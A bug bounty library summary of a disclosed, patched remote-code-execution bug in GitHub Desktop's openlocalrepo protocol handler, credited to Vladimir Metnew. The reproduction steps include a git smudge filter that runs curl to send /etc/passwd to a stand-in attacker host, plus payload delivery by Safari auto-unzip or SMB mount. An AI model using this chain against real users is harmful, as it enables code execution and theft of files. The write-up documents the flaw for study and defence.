# RCE in GitHub Desktop < 2.9.4

GitHub Desktop's openlocalrepo URI imported a local repo without confirmation, executing malicious git filter config for RCE.

- Payout: $2,000
- Severity: low
- Program: GitHub
- Credited: Vladimir Metnew
- Disclosed: 2022-02-18
- Write-up quality: 8/10
- Original: https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3
- Library page: https://bugbountylibrary.com/r/blog%3Agithub-com-metnew-write-ups-tree-main-rce-github-desktop-2-9-3
- Tags: domain:desktop impact:data-leak impact:rce kind:bounty platform:blog sev:low technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** GitHub Desktop protocol handler (github-mac://openlocalrepo)
**Root cause:** The openlocalrepo URI command imported a local repository without user confirmation, and importing runs git filters defined in .git/config against uncommitted .gitattributes, executing arbitrary commands.
**Steps:**
1. Create repo: `mkdir -p /tmp/evil && cd /tmp/evil && git init`
2. Write `.git/config` with `[filter "any"] smudge = curl --data-binary "@/etc/passwd" https://attacker/smudge`
3. `touch example && git add ./example && git commit -m 'commit'`
4. `echo "* text filter=any" > .gitattributes` (uncommitted)
5. Deliver folder to victim (Safari auto-unzip of payload.zip to ~/Downloads/evil, or smb:// mount)
6. Trigger `location.href='github-mac://openlocalrepo//Users/user/Downloads/evil'`
7. Filter runs on import, exfiltrating /etc/passwd to attacker server
**How found:** Noticed openlocalrepo imports local repos without confirmation unlike openrepo, then reasoned that importing runs git filters from .git/config on uncommitted .gitattributes, and combined with payload delivery via Safari auto-unzip or smb:// mount.
**Exploitation:** Attacker hosts a page that auto-downloads a zip (Safari 'open safe files' unzips it) or mounts an SMB share, then navigates to github-mac://openlocalrepo/<path>; GitHub Desktop imports the repo and executes the smudge/clean filter commands, achieving code execution and data exfiltration.
**Insight:** Protocol handlers that import local git repos can be weaponized via .git/config filter/smudge commands executed on uncommitted .gitattributes; pair with browser auto-unzip or SMB mount for zero-to-one-click delivery.